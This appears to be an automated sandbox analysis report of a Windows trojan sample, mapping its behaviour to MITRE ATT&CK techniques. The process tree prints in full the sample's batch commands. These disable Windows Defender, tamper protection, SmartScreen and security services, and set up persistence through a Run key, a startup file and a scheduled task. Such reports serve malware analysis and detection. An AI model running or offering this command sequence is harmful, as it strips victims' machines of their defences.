3f78ac17374f6a96f2b32a8bda63c6d9494ad61be864f0933931637825308e97

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 12 IoCs

defense_evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRoutinelyTakingAction = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe

Modifies Windows Defender TamperProtection settings 3 TTPs 1 IoCs

evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0"	reg.exe

Modifies Windows Defender notification settings 3 TTPs 6 IoCs

defense_evasion trojan

Windows Service

Modify Registry

Disable or Modify Tools

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Microsoft\Windows Defender Security Center\Notifications	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications\DisableNotifications = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender Security Center\Notifications	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications\DisableEnhancedNotifications = "1"	reg.exe

Modifies security service 2 TTPs 1 IoCs

defense_evasion

Modify Registry

Windows Service

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4"	reg.exe

Possible privilege escalation attempt 3 IoCs

exploit

pid	Process
4212	takeown.exe
2728	icacls.exe
1052	icacls.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\Control Panel\International\Geo\Nation	_3f78ac17374f6a96f2b32a8bda63c6d9494ad61be864f0933931637825308e97.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\_3f78ac17374f6a96f2b32a8bda63c6d9494ad61be864f0933931637825308e97.exe	_3f78ac17374f6a96f2b32a8bda63c6d9494ad61be864f0933931637825308e97.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\_3f78ac17374f6a96f2b32a8bda63c6d9494ad61be864f0933931637825308e97.exe	_3f78ac17374f6a96f2b32a8bda63c6d9494ad61be864f0933931637825308e97.exe

Executes dropped EXE 3 IoCs

pid	Process
860	_3f78ac17374f6a96f2b32a8bda63c6d9494ad61be864f0933931637825308e97.exe
3360	svchost.exe
4920	_3f78ac17374f6a96f2b32a8bda63c6d9494ad61be864f0933931637825308e97.exe

Modifies file permissions 1 TTPs 3 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
4212	takeown.exe
2728	icacls.exe
1052	icacls.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsDefender = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\svchost.exe"	_3f78ac17374f6a96f2b32a8bda63c6d9494ad61be864f0933931637825308e97.exe

File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
defense_evasion

Windows File and Directory Permissions Modification
T1222.001

Modifies Security services 2 TTPs 5 IoCs

Modifies the startup behavior of a security service.

defense_evasion

Modify Registry

Impair Defenses

T1562

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdNisSvc\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SecurityHealthService\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdBoot\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdFilter\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdNisDrv\Start = "4"	reg.exe

Launches sc.exe 2 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2660	sc.exe
2920	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
4396	taskkill.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
2368	schtasks.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	3260	_3f78ac17374f6a96f2b32a8bda63c6d9494ad61be864f0933931637825308e97.exe
Token: SeDebugPrivilege	3360	svchost.exe
Token: SeDebugPrivilege	860	_3f78ac17374f6a96f2b32a8bda63c6d9494ad61be864f0933931637825308e97.exe
Token: SeDebugPrivilege	4920	_3f78ac17374f6a96f2b32a8bda63c6d9494ad61be864f0933931637825308e97.exe
Token: SeTakeOwnershipPrivilege	4212	takeown.exe
Token: SeDebugPrivilege	4396	taskkill.exe

Suspicious use of WriteProcessMemory 54 IoCs

description	pid	Process	procid_target
PID 3260 wrote to memory of 2368	3260	_3f78ac17374f6a96f2b32a8bda63c6d9494ad61be864f0933931637825308e97.exe	85
PID 3260 wrote to memory of 4752	3260	_3f78ac17374f6a96f2b32a8bda63c6d9494ad61be864f0933931637825308e97.exe	99
PID 4752 wrote to memory of 5024	4752	cmd.exe	101
PID 4752 wrote to memory of 992	4752	cmd.exe	102
PID 4752 wrote to memory of 4608	4752	cmd.exe	103
PID 4752 wrote to memory of 404	4752	cmd.exe	104
PID 4752 wrote to memory of 2492	4752	cmd.exe	105
PID 4752 wrote to memory of 1520	4752	cmd.exe	106
PID 4752 wrote to memory of 4308	4752	cmd.exe	107
PID 4752 wrote to memory of 1028	4752	cmd.exe	108
PID 4752 wrote to memory of 3268	4752	cmd.exe	109
PID 4752 wrote to memory of 4516	4752	cmd.exe	110
PID 4752 wrote to memory of 2892	4752	cmd.exe	111
PID 4752 wrote to memory of 2772	4752	cmd.exe	112
PID 4752 wrote to memory of 2400	4752	cmd.exe	113
PID 4752 wrote to memory of 1796	4752	cmd.exe	114
PID 4752 wrote to memory of 2172	4752	cmd.exe	115
PID 4752 wrote to memory of 2600	4752	cmd.exe	116
PID 4752 wrote to memory of 4572	4752	cmd.exe	117
PID 4752 wrote to memory of 4612	4752	cmd.exe	118
PID 4752 wrote to memory of 1652	4752	cmd.exe	119
PID 4752 wrote to memory of 2544	4752	cmd.exe	120
PID 4752 wrote to memory of 4632	4752	cmd.exe	121
PID 4752 wrote to memory of 1664	4752	cmd.exe	122
PID 4752 wrote to memory of 2424	4752	cmd.exe	123
PID 4752 wrote to memory of 1580	4752	cmd.exe	124
PID 4752 wrote to memory of 1256	4752	cmd.exe	125
PID 4752 wrote to memory of 816	4752	cmd.exe	126
PID 4752 wrote to memory of 2140	4752	cmd.exe	127
PID 4752 wrote to memory of 3756	4752	cmd.exe	128
PID 4752 wrote to memory of 2148	4752	cmd.exe	129
PID 4752 wrote to memory of 4472	4752	cmd.exe	130
PID 4752 wrote to memory of 4296	4752	cmd.exe	131
PID 4752 wrote to memory of 4268	4752	cmd.exe	132
PID 4752 wrote to memory of 2724	4752	cmd.exe	133
PID 4752 wrote to memory of 4652	4752	cmd.exe	134
PID 4752 wrote to memory of 2788	4752	cmd.exe	135
PID 4752 wrote to memory of 1532	4752	cmd.exe	136
PID 4752 wrote to memory of 1792	4752	cmd.exe	137
PID 4752 wrote to memory of 696	4752	cmd.exe	138
PID 4752 wrote to memory of 436	4752	cmd.exe	139
PID 4752 wrote to memory of 3312	4752	cmd.exe	140
PID 4752 wrote to memory of 4328	4752	cmd.exe	141
PID 4752 wrote to memory of 2660	4752	cmd.exe	142
PID 4752 wrote to memory of 2920	4752	cmd.exe	143
PID 4752 wrote to memory of 2352	4752	cmd.exe	144
PID 4752 wrote to memory of 1488	4752	cmd.exe	145
PID 4752 wrote to memory of 4204	4752	cmd.exe	146
PID 4752 wrote to memory of 4216	4752	cmd.exe	147
PID 4752 wrote to memory of 4212	4752	cmd.exe	148
PID 4752 wrote to memory of 2728	4752	cmd.exe	149
PID 4752 wrote to memory of 1052	4752	cmd.exe	150
PID 4752 wrote to memory of 4396	4752	cmd.exe	151
PID 4752 wrote to memory of 2276	4752	cmd.exe	152

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\_3f78ac17374f6a96f2b32a8bda63c6d9494ad61be864f0933931637825308e97.exe
"C:\Users\Admin\AppData\Local\Temp\_3f78ac17374f6a96f2b32a8bda63c6d9494ad61be864f0933931637825308e97.exe"
1⤵
- Checks computer location settings
- Drops startup file
- Adds Run key to start application
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3260
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /f /sc minute /mo 1 /tn "_3f78ac17374f6a96f2b32a8bda63c6d9494ad61be864f0933931637825308e97" /tr "C:\Users\Admin\AppData\Roaming\_3f78ac17374f6a96f2b32a8bda63c6d9494ad61be864f0933931637825308e97.exe"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2368
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\WinTempClean32.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4752
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Microsoft\Windows Defender\Features" /v "TamperProtection" /t REG_DWORD /d "0" /f
    3⤵
    - Modifies Windows Defender TamperProtection settings
    PID:5024
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\SgrmBroker" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    PID:992
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    - Modifies Security services
    PID:4608
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Microsoft\Windows Defender Security Center\Notifications" /v "DisableNotifications" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender notification settings
    PID:404
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender Security Center\Notifications" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender notification settings
    PID:2492
- - C:\Windows\system32\reg.exe
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.SystemToast.SecurityAndMaintenance" /v "Enabled" /t REG_DWORD /d "0" /f
    3⤵
    PID:1520
- - C:\Windows\system32\reg.exe
    reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
    3⤵
    PID:4308
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "AllowFastServiceStartup" /t REG_DWORD /d "0" /f
    3⤵
    PID:1028
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender DisableAntiSpyware settings
    PID:3268
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
    3⤵
    PID:4516
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableSpecialRunningModes" /t REG_DWORD /d "1" /f
    3⤵
    PID:2892
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "ServiceKeepAlive" /t REG_DWORD /d "0" /f
    3⤵
    PID:2772
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
    3⤵
    PID:2400
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:1796
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:2172
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:2600
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:4572
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRoutinelyTakingAction" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:4612
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:1652
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
    3⤵
    PID:2544
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
    3⤵
    PID:4632
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
    3⤵
    PID:1664
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f
    3⤵
    PID:2424
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
    3⤵
    PID:1580
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
    3⤵
    PID:1256
- - C:\Windows\system32\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
    3⤵
    PID:816
- - C:\Windows\system32\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
    3⤵
    PID:2140
- - C:\Windows\system32\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
    3⤵
    PID:3756
- - C:\Windows\system32\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
    3⤵
    PID:2148
- - C:\Windows\system32\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
    3⤵
    PID:4472
- - C:\Windows\system32\reg.exe
    reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f
    3⤵
    PID:4296
- - C:\Windows\system32\reg.exe
    reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f
    3⤵
    PID:4268
- - C:\Windows\system32\reg.exe
    reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
    3⤵
    PID:2724
- - C:\Windows\system32\reg.exe
    reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
    3⤵
    PID:4652
- - C:\Windows\system32\reg.exe
    reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
    3⤵
    PID:2788
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    - Modifies Security services
    PID:1532
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\MDCoreSvc" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    PID:1792
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    - Modifies Security services
    PID:696
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    - Modifies Security services
    PID:436
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    - Modifies Security services
    PID:3312
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    - Modifies security service
    PID:4328
- - C:\Windows\system32\sc.exe
    sc config webthreatdefsvc start= disabled
    3⤵
    - Launches sc.exe
    PID:2660
- - C:\Windows\system32\sc.exe
    sc config webthreatdefusersvc start= disabled
    3⤵
    - Launches sc.exe
    PID:2920
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer" /v "SmartScreenEnabled" /tC:\Users\Admin\AppData\Local\Temp REG_SZ /d "Off" /f
    3⤵
    PID:2352
- - C:\Windows\system32\reg.exe
    reg add "HKCU\Software\Microsoft\Edge\SmartScreenEnabled" /ve /t REG_DWORD /d "0" /f
    3⤵
    PID:1488
- - C:\Windows\system32\reg.exe
    reg add "HKCU\Software\Microsoft\Edge\SmartScreenPuaEnabled" /ve /t REG_DWORD /d "0" /f
    3⤵
    PID:4204
- - C:\Windows\system32\reg.exe
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\AppHost" /v "EnableWebContentEvaluation" /t "REG_DWORD" /d "0" /f
    3⤵
    PID:4216
- - C:\Windows\system32\takeown.exe
    takeown /s JWUHOPEY /u Admin /f "C:\Windows\System32\smartscreen.exe"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:4212
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\smartscreen.exe" /grant:r Admin:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2728
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\smartscreen.exe" /grant:r Admin:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1052
- - C:\Windows\system32\taskkill.exe
    taskkill /im smartscreen.exC:\Users\Admin\AppData\Local\Tempe /f
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4396
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Control\CI\Policy" /v "VerifiedAndReputablePolicyState" /t REG_DWORD /d "0" /f
    3⤵
    PID:2276

C:\Users\Admin\AppData\Roaming\_3f78ac17374f6a96f2b32a8bda63c6d9494ad61be864f0933931637825308e97.exe
C:\Users\Admin\AppData\Roaming\_3f78ac17374f6a96f2b32a8bda63c6d9494ad61be864f0933931637825308e97.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:860

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\svchost.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\svchost.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3360

C:\Users\Admin\AppData\Roaming\_3f78ac17374f6a96f2b32a8bda63c6d9494ad61be864f0933931637825308e97.exe
C:\Users\Admin\AppData\Roaming\_3f78ac17374f6a96f2b32a8bda63c6d9494ad61be864f0933931637825308e97.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4920

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

File and Directory Permissions Modification

T1222

Windows File and Directory Permissions Modification

T1222.001

Impair Defenses

T1562

Disable or Modify Tools

Modify Registry